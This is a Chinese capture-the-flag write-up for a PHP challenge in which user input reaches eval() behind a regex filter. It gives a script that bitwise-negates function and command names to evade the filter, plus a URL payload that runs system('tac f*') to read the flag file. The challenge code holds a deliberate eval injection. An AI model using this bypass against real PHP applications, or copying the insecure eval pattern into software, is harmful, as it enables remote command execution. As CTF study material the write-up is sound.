<?php
//取反
include('flag.php');
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3']))
{
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2))
{
if(preg_match('/^\W+$/', $v3))
{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$flag;
}
}
}
这里直接利用取反脚本
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();
结合减号是可以执行phpinfo命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+
,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
system(tac f*);
经过取反处理
(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.